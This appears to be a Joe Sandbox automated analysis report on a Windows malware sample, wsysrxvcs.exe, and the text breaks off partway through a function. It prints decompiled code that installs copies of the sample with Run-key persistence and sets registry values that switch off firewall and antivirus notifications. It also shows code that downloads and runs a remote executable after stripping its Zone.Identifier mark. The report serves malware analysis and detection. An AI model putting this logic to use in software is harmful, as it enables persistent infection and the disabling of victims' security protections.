                                                                                                                                                                                                                                                                                                                                                      0x0040dcb7
                                                                                                                                                                                                                                                                                                                                                      0x0040dcbb
                                                                                                                                                                                                                                                                                                                                                      0x0040dccb
                                                                                                                                                                                                                                                                                                                                                      0x0040dcd5
                                                                                                                                                                                                                                                                                                                                                      0x0040dcde
                                                                                                                                                                                                                                                                                                                                                      0x0040dcfe
                                                                                                                                                                                                                                                                                                                                                      0x0040dd01
                                                                                                                                                                                                                                                                                                                                                      0x0040dd07
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040dce0
                                                                                                                                                                                                                                                                                                                                                      0x0040dce0
                                                                                                                                                                                                                                                                                                                                                      0x0040dceb
                                                                                                                                                                                                                                                                                                                                                      0x0040dceb
                                                                                                                                                                                                                                                                                                                                                      0x0040dcde

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,0040BE0E,00000000), ref: 0040DC85
                                                                                                                                                                                                                                                                                                                                                      • socket.WS2_32(00000002,00000002,00000011), ref: 0040DC94
                                                                                                                                                                                                                                                                                                                                                      • bind.WS2_32(?,?,00000010), ref: 0040DCD5
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040DBF0: SetEvent.KERNEL32(?,?,0040DCE5,?,?,0040BE0E,00000000), ref: 0040DC01
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040DBF0: WaitForSingleObject.KERNEL32(?,000000FF,?,0040DCE5,?,?,0040BE0E,00000000), ref: 0040DC0D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040DBF0: CloseHandle.KERNEL32(?,?,0040DCE5,?,?,0040BE0E,00000000), ref: 0040DC17
                                                                                                                                                                                                                                                                                                                                                      • CreateThread.KERNELBASE ref: 0040DD01
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindsocket
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3943618503-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 1fe1bc14ad5ba82572d885bca396929e2841b212b0bd24538dc392aea25adc32
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: b16d2d4ad0a0b2b9cafa682e2e76731ffdc1f0718a39120daea6a320dc634445
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1fe1bc14ad5ba82572d885bca396929e2841b212b0bd24538dc392aea25adc32
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BE1194B0A44300AFE7109FB49C86B577AA0EF04714F50897AFA58DA2D2D2F9D848975A
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00405D80 Relevance: 152.7, APIs: 56, Strings: 31, Instructions: 469sleepfilesynchronizationCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 0 405d80-405db4 Sleep CreateMutexA GetLastError 1 405db6-405db8 ExitProcess 0->1 2 405dbe-405e43 GetModuleFileNameW PathFindFileNameW wsprintfW DeleteFileW ExpandEnvironmentStringsW 0->2 3 405e49-405e62 2->3 4 405e64-405e6c 3->4 5 405eaf-405eb4 3->5 7 405ea3-405ead 4->7 8 405e6e-405e89 4->8 6 405eba-405ecd 5->6 9 405ed3-405ede call 40cfe0 6->9 10 406136-406161 Sleep RegOpenKeyExA 6->10 7->6 8->5 11 405e8b-405ea1 8->11 18 405ee0-405ee2 ExitProcess 9->18 19 405ee8-405f36 ExpandEnvironmentStringsW wsprintfW CopyFileW 9->19 13 406167-406247 RegSetValueExA * 7 RegCloseKey 10->13 14 40624d-40626d RegOpenKeyExA 10->14 11->3 11->7 13->14 16 406273-406353 RegSetValueExA * 7 RegCloseKey 14->16 17 406359-40636e Sleep call 40b0b0 14->17 16->17 27 4064c3-4064cc 17->27 28 406374-4064bb WSAStartup wsprintfW * 2 CreateThread Sleep CreateThread Sleep CreateThread Sleep call 404560 call 40cf10 call 405b10 CreateEventA call 40a7e0 call 40b9e0 call 409c30 call 40ba90 * 4 17->28 21 406015-406057 Sleep wsprintfW CopyFileW 19->21 22 405f3c-405f6b SetFileAttributesW RegOpenKeyExW 19->22 21->10 24 40605d-40608c SetFileAttributesW RegOpenKeyExW 21->24 25 405f71-405f86 22->25 26 405ff6-40600b call 40d280 22->26 30 406092-4060a7 24->30 31 406117-40612c call 40d280 24->31 33 405f8c-405fab 25->33 26->21 44 40600d-40600f ExitProcess 26->44 62 4064c0 28->62 36 4060ad-4060cc 30->36 31->10 46 40612e-406130 ExitProcess 31->46 33->33 39 405fad-405ff0 RegSetValueExW RegCloseKey 33->39 36->36 42 4060ce-406111 RegSetValueExW RegCloseKey 36->42 39->26 42->31 62->27
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 96%
                                                                                                                                                                                                                                                                                                                                                      			_entry_() {
				short _v524;
				char _v528;
				int _v532;
				char _v1052;
				void* _v1056;
				char _v1580;
				short _v2100;
				short _v2620;
				void* _v2624;
				char _v3028;
				intOrPtr* _v3032;
				int _v3036;
				short _v3038;
				short _v3040;
				int _v3044;
				int _v3048;
				intOrPtr* _v3052;
				intOrPtr _v3056;
				short _v3058;
				signed int _v3064;
				intOrPtr* _v3068;
				intOrPtr _v3072;
				short _v3074;
				signed int _v3080;
				void* _t114;
				long _t125;
				long _t126;
				signed char _t127;
				void* _t136;
				intOrPtr _t139;
				intOrPtr _t142;
				intOrPtr _t146;
				signed char _t185;
				signed char _t195;
				int _t204;
				intOrPtr _t207;
				short _t234;
				intOrPtr _t238;
				short _t264;
				void* _t265;
				void* _t266;
				void* _t273;

				Sleep(0x7d0); // executed
				_t114 = CreateMutexA(0, 0, "9998883922"); // executed
				_v2624 = _t114;
				if(GetLastError() != 0xb7) {
					_v1056 = 0;
					_v528 = 1;
					GetModuleFileNameW(0, "C:\Windows\wsysrxvcs.exe", 0x105);
					_v532 = PathFindFileNameW("C:\Windows\wsysrxvcs.exe");
					wsprintfW( &_v524, L"%s:Zone.Identifier", "C:\Windows\wsysrxvcs.exe");
					_t266 = _t265 + 0xc;
					DeleteFileW( &_v524); // executed
					ExpandEnvironmentStringsW(L"%userprofile%",  &_v2620, 0x104);
					_v3032 = L"wsysrxvcs.exe";
					_v3036 = _v532;
					while(1) {
						_t204 = _v3036;
						_t234 =  *_t204;
						_v3038 = _t234;
						if(_t234 !=  *_v3032) {
							break;
						}
						if(_v3038 == 0) {
							L7:
							_v3044 = 0;
							L9:
							_v3048 = _v3044;
							if(_v3048 == 0) {
								L26:
								Sleep(0x1f4); // executed
								_t125 = RegOpenKeyExA(0x80000002, "SOFTWARE\\Microsoft\\Security Center", 0, 0x20006,  &_v1056); // executed
								if(_t125 == 0) {
									RegSetValueExA(_v1056, "FirewallOverride", 0, 4,  &_v528, 4); // executed
									RegSetValueExA(_v1056, "FirewallDisableNotify", 0, 4,  &_v528, 4); // executed
									RegSetValueExA(_v1056, "AntiSpywareOverride", 0, 4,  &_v528, 4); // executed
									RegSetValueExA(_v1056, "AntiVirusOverride", 0, 4,  &_v528, 4); // executed
									RegSetValueExA(_v1056, "AntiVirusDisableNotify", 0, 4,  &_v528, 4); // executed
									RegSetValueExA(_v1056, "UpdatesOverride", 0, 4,  &_v528, 4); // executed
									RegSetValueExA(_v1056, "UpdatesDisableNotify", 0, 4,  &_v528, 4); // executed
									RegCloseKey(_v1056); // executed
								}
								_t126 = RegOpenKeyExA(0x80000002, "SOFTWARE\\Microsoft\\Security Center\\Svc", 0, 0x20006,  &_v1056); // executed
								if(_t126 == 0) {
									RegSetValueExA(_v1056, "FirewallOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1056, "FirewallDisableNotify", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1056, "AntiSpywareOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1056, "AntiVirusOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1056, "AntiVirusDisableNotify", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1056, "UpdatesOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1056, "UpdatesDisableNotify", 0, 4,  &_v528, 4);
									RegCloseKey(_v1056);
								}
								Sleep(0x1f4); // executed
								_t127 = E0040B0B0(); // executed
								if((_t127 & 0x000000ff) != 0) {
									__imp__#115(0x202,  &_v3028); // executed
									wsprintfW("C:\Users\alfons\tbnds.dat", L"%s\\tbnds.dat",  &_v2620);
									wsprintfW("C:\Users\alfons\tbcmds.dat", L"%s\\tbcmds.dat",  &_v2620);
									CreateThread(0, 0, E00404360, 0, 0, 0); // executed
									Sleep(0x3e8); // executed
									CreateThread(0, 0, E00405410, 0, 0, 0); // executed
									Sleep(0x3e8); // executed
									CreateThread(0, 0, E00405C60, 0, 0, 0); // executed
									Sleep(0x2710); // executed
									E00404560(); // executed
									_t136 = E0040CF10(); // executed
									E00405B10(_t136,  &_v2620); // executed
									 *0x4156c4 = CreateEventA(0, 1, 0, 0); // executed
									_t139 = E0040A7E0( &_v2620); // executed
									 *0x4156cc = _t139;
									 *0x4156c8 = E0040B9E0( &_v2620); // executed
									E00409C30(); // executed
									_t142 =  *0x4156c8; // 0x2190628
									E0040BA90(_t142, 0, E0040BEA0, 0, 0, 0); // executed
									_t207 =  *0x4156c8; // 0x2190628
									E0040BA90(_t207, 0, E0040BE00, 0, 0, 0); // executed
									_t238 =  *0x4156c8; // 0x2190628
									E0040BA90(_t238, 0, E0040B990, 0, 0, 0); // executed
									_t146 =  *0x4156c8; // 0x2190628
									E0040BA90(_t146, 0, E0040B790, 0, 0, 0); // executed
								}
								return 0;
							}
							if((E0040CFE0() & 0x000000ff) != 1) {
								ExpandEnvironmentStringsW(L"%windir%",  &_v2100, 0x104);
								wsprintfW( &_v1580, L"%s\\%s",  &_v2100, L"wsysrxvcs.exe");
								_t273 = _t266 + 0x10;
								if(CopyFileW(?str?,  &_v1580, 0) == 0) {
									L19:
									Sleep(0x1f4);
									wsprintfW( &_v1052, L"%s\\%s",  &_v2620, L"wsysrxvcs.exe");
									_t266 = _t273 + 0x10;
									if(CopyFileW(?str?,  &_v1052, 0) == 0) {
										goto L26;
									}
									SetFileAttributesW( &_v1052, 3);
									if(RegOpenKeyExW(0x80000001, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", 0, 0x20006,  &_v1056) != 0) {
										L24:
										_t185 = E0040D280( &_v1052);
										_t266 = _t266 + 4;
										if((_t185 & 0x000000ff) != 1) {
											goto L26;
										}
										ExitProcess(0);
									}
									_v3068 =  &_v1052;
									_v3072 = _v3068 + 2;
									do {
										_v3074 =  *_v3068;
										_v3068 = _v3068 + 2;
									} while (_v3074 != 0);
									_v3080 = _v3068 - _v3072 >> 1;
									RegSetValueExW(_v1056, L"Windows Settings", 0, 1,  &_v1052, _v3080 + _v3080 + 2);
									RegCloseKey(_v1056);
									goto L24;
								}
								SetFileAttributesW( &_v1580, 3);
								if(RegOpenKeyExW(0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", 0, 0x20006,  &_v1056) != 0) {
									L17:
									_t195 = E0040D280( &_v1580);
									_t273 = _t273 + 4;
									if((_t195 & 0x000000ff) != 1) {
										goto L19;
									}
									ExitProcess(0);
								}
								_v3052 =  &_v1580;
								_v3056 = _v3052 + 2;
								do {
									_v3058 =  *_v3052;
									_v3052 = _v3052 + 2;
								} while (_v3058 != 0);
								_v3064 = _v3052 - _v3056 >> 1;
								RegSetValueExW(_v1056, L"Windows Settings", 0, 1,  &_v1580, _v3064 + _v3064 + 2);
								RegCloseKey(_v1056);
								goto L17;
							}
							ExitProcess(0);
						}
						_t204 = _v3036;
						_t264 =  *((intOrPtr*)(_t204 + 2));
						_v3040 = _t264;
						_t19 = _v3032 + 2; // 0x790073
						if(_t264 !=  *_t19) {
							break;
						}
						_v3036 = _v3036 + 4;
						_v3032 = _v3032 + 4;
						if(_v3040 != 0) {
							continue;
						}
						goto L7;
					}
					asm("sbb ecx, ecx");
					asm("sbb ecx, 0xffffffff");
					_v3044 = _t204;
					goto L9;
				}
				ExitProcess(0);
			}













































                                                                                                                                                                                                                                                                                                                                                      0x00405d8e
                                                                                                                                                                                                                                                                                                                                                      0x00405d9d
                                                                                                                                                                                                                                                                                                                                                      0x00405da3
                                                                                                                                                                                                                                                                                                                                                      0x00405db4
                                                                                                                                                                                                                                                                                                                                                      0x00405dbe
                                                                                                                                                                                                                                                                                                                                                      0x00405dc8
                                                                                                                                                                                                                                                                                                                                                      0x00405dde
                                                                                                                                                                                                                                                                                                                                                      0x00405def
                                                                                                                                                                                                                                                                                                                                                      0x00405e06
                                                                                                                                                                                                                                                                                                                                                      0x00405e0c
                                                                                                                                                                                                                                                                                                                                                      0x00405e16
                                                                                                                                                                                                                                                                                                                                                      0x00405e2d
                                                                                                                                                                                                                                                                                                                                                      0x00405e33
                                                                                                                                                                                                                                                                                                                                                      0x00405e43
                                                                                                                                                                                                                                                                                                                                                      0x00405e49
                                                                                                                                                                                                                                                                                                                                                      0x00405e49
                                                                                                                                                                                                                                                                                                                                                      0x00405e4f
                                                                                                                                                                                                                                                                                                                                                      0x00405e52
                                                                                                                                                                                                                                                                                                                                                      0x00405e62
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405e6c
                                                                                                                                                                                                                                                                                                                                                      0x00405ea3
                                                                                                                                                                                                                                                                                                                                                      0x00405ea3
                                                                                                                                                                                                                                                                                                                                                      0x00405eba
                                                                                                                                                                                                                                                                                                                                                      0x00405ec0
                                                                                                                                                                                                                                                                                                                                                      0x00405ecd
                                                                                                                                                                                                                                                                                                                                                      0x00406136
                                                                                                                                                                                                                                                                                                                                                      0x0040613b
                                                                                                                                                                                                                                                                                                                                                      0x00406159
                                                                                                                                                                                                                                                                                                                                                      0x00406161
                                                                                                                                                                                                                                                                                                                                                      0x00406180
                                                                                                                                                                                                                                                                                                                                                      0x0040619f
                                                                                                                                                                                                                                                                                                                                                      0x004061be
                                                                                                                                                                                                                                                                                                                                                      0x004061dd
                                                                                                                                                                                                                                                                                                                                                      0x004061fc
                                                                                                                                                                                                                                                                                                                                                      0x0040621b
                                                                                                                                                                                                                                                                                                                                                      0x0040623a
                                                                                                                                                                                                                                                                                                                                                      0x00406247
                                                                                                                                                                                                                                                                                                                                                      0x00406247
                                                                                                                                                                                                                                                                                                                                                      0x00406265
                                                                                                                                                                                                                                                                                                                                                      0x0040626d
                                                                                                                                                                                                                                                                                                                                                      0x0040628c
                                                                                                                                                                                                                                                                                                                                                      0x004062ab
                                                                                                                                                                                                                                                                                                                                                      0x004062ca
                                                                                                                                                                                                                                                                                                                                                      0x004062e9
                                                                                                                                                                                                                                                                                                                                                      0x00406308
                                                                                                                                                                                                                                                                                                                                                      0x00406327
                                                                                                                                                                                                                                                                                                                                                      0x00406346
                                                                                                                                                                                                                                                                                                                                                      0x00406353
                                                                                                                                                                                                                                                                                                                                                      0x00406353
                                                                                                                                                                                                                                                                                                                                                      0x0040635e
                                                                                                                                                                                                                                                                                                                                                      0x00406364
                                                                                                                                                                                                                                                                                                                                                      0x0040636e
                                                                                                                                                                                                                                                                                                                                                      0x00406380
                                                                                                                                                                                                                                                                                                                                                      0x00406397
                                                                                                                                                                                                                                                                                                                                                      0x004063b1
                                                                                                                                                                                                                                                                                                                                                      0x004063c9
                                                                                                                                                                                                                                                                                                                                                      0x004063d4
                                                                                                                                                                                                                                                                                                                                                      0x004063e9
                                                                                                                                                                                                                                                                                                                                                      0x004063f4
                                                                                                                                                                                                                                                                                                                                                      0x00406409
                                                                                                                                                                                                                                                                                                                                                      0x00406414
                                                                                                                                                                                                                                                                                                                                                      0x0040641a
                                                                                                                                                                                                                                                                                                                                                      0x0040641f
                                                                                                                                                                                                                                                                                                                                                      0x00406424
                                                                                                                                                                                                                                                                                                                                                      0x00406437
                                                                                                                                                                                                                                                                                                                                                      0x0040643c
                                                                                                                                                                                                                                                                                                                                                      0x00406441
                                                                                                                                                                                                                                                                                                                                                      0x0040644b
                                                                                                                                                                                                                                                                                                                                                      0x00406450
                                                                                                                                                                                                                                                                                                                                                      0x00406462
                                                                                                                                                                                                                                                                                                                                                      0x00406468
                                                                                                                                                                                                                                                                                                                                                      0x0040647d
                                                                                                                                                                                                                                                                                                                                                      0x00406484
                                                                                                                                                                                                                                                                                                                                                      0x00406499
                                                                                                                                                                                                                                                                                                                                                      0x004064a0
                                                                                                                                                                                                                                                                                                                                                      0x004064b5
                                                                                                                                                                                                                                                                                                                                                      0x004064bb
                                                                                                                                                                                                                                                                                                                                                      0x004064c0
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004064c7
                                                                                                                                                                                                                                                                                                                                                      0x00405ede
                                                                                                                                                                                                                                                                                                                                                      0x00405ef9
                                                                                                                                                                                                                                                                                                                                                      0x00405f17
                                                                                                                                                                                                                                                                                                                                                      0x00405f1d
                                                                                                                                                                                                                                                                                                                                                      0x00405f36
                                                                                                                                                                                                                                                                                                                                                      0x00406015
                                                                                                                                                                                                                                                                                                                                                      0x0040601a
                                                                                                                                                                                                                                                                                                                                                      0x00406038
                                                                                                                                                                                                                                                                                                                                                      0x0040603e
                                                                                                                                                                                                                                                                                                                                                      0x00406057
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00406066
                                                                                                                                                                                                                                                                                                                                                      0x0040608c
                                                                                                                                                                                                                                                                                                                                                      0x00406117
                                                                                                                                                                                                                                                                                                                                                      0x0040611e
                                                                                                                                                                                                                                                                                                                                                      0x00406123
                                                                                                                                                                                                                                                                                                                                                      0x0040612c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00406130
                                                                                                                                                                                                                                                                                                                                                      0x00406130
                                                                                                                                                                                                                                                                                                                                                      0x00406098
                                                                                                                                                                                                                                                                                                                                                      0x004060a7
                                                                                                                                                                                                                                                                                                                                                      0x004060ad
                                                                                                                                                                                                                                                                                                                                                      0x004060b6
                                                                                                                                                                                                                                                                                                                                                      0x004060bd
                                                                                                                                                                                                                                                                                                                                                      0x004060c4
                                                                                                                                                                                                                                                                                                                                                      0x004060dc
                                                                                                                                                                                                                                                                                                                                                      0x00406104
                                                                                                                                                                                                                                                                                                                                                      0x00406111
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00406111
                                                                                                                                                                                                                                                                                                                                                      0x00405f45
                                                                                                                                                                                                                                                                                                                                                      0x00405f6b
                                                                                                                                                                                                                                                                                                                                                      0x00405ff6
                                                                                                                                                                                                                                                                                                                                                      0x00405ffd
                                                                                                                                                                                                                                                                                                                                                      0x00406002
                                                                                                                                                                                                                                                                                                                                                      0x0040600b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040600f
                                                                                                                                                                                                                                                                                                                                                      0x0040600f
                                                                                                                                                                                                                                                                                                                                                      0x00405f77
                                                                                                                                                                                                                                                                                                                                                      0x00405f86
                                                                                                                                                                                                                                                                                                                                                      0x00405f8c
                                                                                                                                                                                                                                                                                                                                                      0x00405f95
                                                                                                                                                                                                                                                                                                                                                      0x00405f9c
                                                                                                                                                                                                                                                                                                                                                      0x00405fa3
                                                                                                                                                                                                                                                                                                                                                      0x00405fbb
                                                                                                                                                                                                                                                                                                                                                      0x00405fe3
                                                                                                                                                                                                                                                                                                                                                      0x00405ff0
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405ff0
                                                                                                                                                                                                                                                                                                                                                      0x00405ee2
                                                                                                                                                                                                                                                                                                                                                      0x00405ee2
                                                                                                                                                                                                                                                                                                                                                      0x00405e6e
                                                                                                                                                                                                                                                                                                                                                      0x00405e74
                                                                                                                                                                                                                                                                                                                                                      0x00405e78
                                                                                                                                                                                                                                                                                                                                                      0x00405e85
                                                                                                                                                                                                                                                                                                                                                      0x00405e89
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405e8b
                                                                                                                                                                                                                                                                                                                                                      0x00405e92
                                                                                                                                                                                                                                                                                                                                                      0x00405ea1
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405ea1
                                                                                                                                                                                                                                                                                                                                                      0x00405eaf
                                                                                                                                                                                                                                                                                                                                                      0x00405eb1
                                                                                                                                                                                                                                                                                                                                                      0x00405eb4
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405eb4
                                                                                                                                                                                                                                                                                                                                                      0x00405db8

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNELBASE(000007D0), ref: 00405D8E
                                                                                                                                                                                                                                                                                                                                                      • CreateMutexA.KERNELBASE(00000000,00000000,9998883922), ref: 00405D9D
                                                                                                                                                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 00405DA9
                                                                                                                                                                                                                                                                                                                                                      • ExitProcess.KERNEL32 ref: 00405DB8
                                                                                                                                                                                                                                                                                                                                                      • GetModuleFileNameW.KERNEL32(00000000,C:\Windows\wsysrxvcs.exe,00000105), ref: 00405DDE
                                                                                                                                                                                                                                                                                                                                                      • PathFindFileNameW.SHLWAPI(C:\Windows\wsysrxvcs.exe), ref: 00405DE9
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00405E06
                                                                                                                                                                                                                                                                                                                                                      • DeleteFileW.KERNELBASE(?), ref: 00405E16
                                                                                                                                                                                                                                                                                                                                                      • ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 00405E2D
                                                                                                                                                                                                                                                                                                                                                      • ExitProcess.KERNEL32 ref: 00405EE2
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: File$ExitNameProcess$CreateDeleteEnvironmentErrorExpandFindLastModuleMutexPathSleepStringswsprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: %s:Zone.Identifier$%s\%s$%s\%s$%s\tbcmds.dat$%s\tbnds.dat$%userprofile%$%windir%$9998883922$AntiSpywareOverride$AntiSpywareOverride$AntiVirusDisableNotify$AntiVirusDisableNotify$AntiVirusOverride$AntiVirusOverride$C:\Users\user\tbcmds.dat$C:\Users\user\tbnds.dat$C:\Windows\wsysrxvcs.exe$FirewallDisableNotify$FirewallDisableNotify$FirewallOverride$FirewallOverride$SOFTWARE\Microsoft\Security Center$SOFTWARE\Microsoft\Security Center\Svc$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$UpdatesDisableNotify$UpdatesDisableNotify$UpdatesOverride$UpdatesOverride$Windows Settings$wsysrxvcs.exe
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2615208688-2520803476
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 2e7302333acf46d82ccc1cb8fede8514ddbc07bf89efa5f9a20b4baa3e35a58f
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: df607d003a590471f88021bec4645f04bb3b1272e335fdeb7a0c043ab3de40b8
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2e7302333acf46d82ccc1cb8fede8514ddbc07bf89efa5f9a20b4baa3e35a58f
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A7121EB5A80318ABE7309B90DC4AFDA7774AB48B05F1081A5F309BA1D1D7B46AC48F5D
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040D3E0 Relevance: 73.7, APIs: 35, Strings: 7, Instructions: 243filesleepnetworkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 84%
                                                                                                                                                                                                                                                                                                                                                      			E0040D3E0(char* _a4, char _a8) {
				short _v524;
				short _v1044;
				signed char _v1045;
				short _v1572;
				void* _v1576;
				void* _v1580;
				short _v2100;
				void _v2364;
				long _v2368;
				long _v2372;
				void* _v2376;
				intOrPtr* _v2380;
				intOrPtr _v2384;
				char _v2385;
				intOrPtr _v2392;
				signed int _t88;
				signed int _t90;
				int _t96;
				signed int _t97;
				signed int _t99;
				signed int _t101;
				signed int _t111;
				void* _t112;
				void* _t115;
				int _t119;
				signed char _t125;
				signed char _t127;
				void* _t181;
				void* _t182;
				void* _t184;

				srand(GetTickCount());
				_t182 = _t181 + 4;
				_v1045 = 0;
				ExpandEnvironmentStringsW(L"%temp%",  &_v2100, 0x104);
				_v2380 = _a4;
				_v2384 = _v2380 + 1;
				do {
					_v2385 =  *_v2380;
					_v2380 = _v2380 + 1;
				} while (_v2385 != 0);
				_v2392 = _v2380 - _v2384;
				mbstowcs( &_v1044, _a4, _v2392 + 1);
				_t88 = rand();
				asm("cdq");
				_t90 = rand();
				asm("cdq");
				wsprintfW( &_v1572, L"%s\\%d%d.exe",  &_v2100, _t90 % 0x7fff + 0x3e8, _t88 % 0x7fff + 0x3e8);
				_t184 = _t182 + 0x20;
				_v2376 = InternetOpenW(L"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36", 0, 0, 0, 0);
				if(_v2376 != 0) {
					_t112 = InternetOpenUrlW(_v2376,  &_v1044, 0, 0, 0, 0); // executed
					_v1576 = _t112;
					if(_v1576 != 0) {
						_t115 = CreateFileW( &_v1572, 0x40000000, 0, 0, 2, 0, 0); // executed
						_v1580 = _t115;
						if(_v1580 != 0xffffffff) {
							while(1) {
								_t119 = InternetReadFile(_v1576,  &_v2364, 0x103,  &_v2372); // executed
								if(_t119 == 0 || _v2372 == 0) {
									break;
								}
								WriteFile(_v1580,  &_v2364, _v2372,  &_v2368, 0); // executed
							}
							CloseHandle(_v1580);
							wsprintfW( &_v524, L"%s:Zone.Identifier",  &_v1572);
							DeleteFileW( &_v524); // executed
							Sleep(0x3e8); // executed
							_t125 = E0040D0C0( &_v1572); // executed
							_t184 = _t184 + 0x10;
							if((_t125 & 0x000000ff) == 0) {
								DeleteFileW( &_v1572);
							} else {
								Sleep(0x7d0);
								_t127 = E0040D280( &_v1572); // executed
								_t184 = _t184 + 4;
								if((_t127 & 0x000000ff) == 1) {
									_t51 =  &_a8; // 0x405d51
									if(( *_t51 & 0x000000ff) == 1) {
										ExitProcess(0);
									}
									_v1045 = 1;
								}
							}
						}
						CloseHandle(_v1580);
					}
					InternetCloseHandle(_v1576); // executed
				}
				InternetCloseHandle(_v2376);
				Sleep(0x3e8);
				_t96 = _v1045 & 0x000000ff;
				if(_t96 == 0) {
					_t97 = rand();
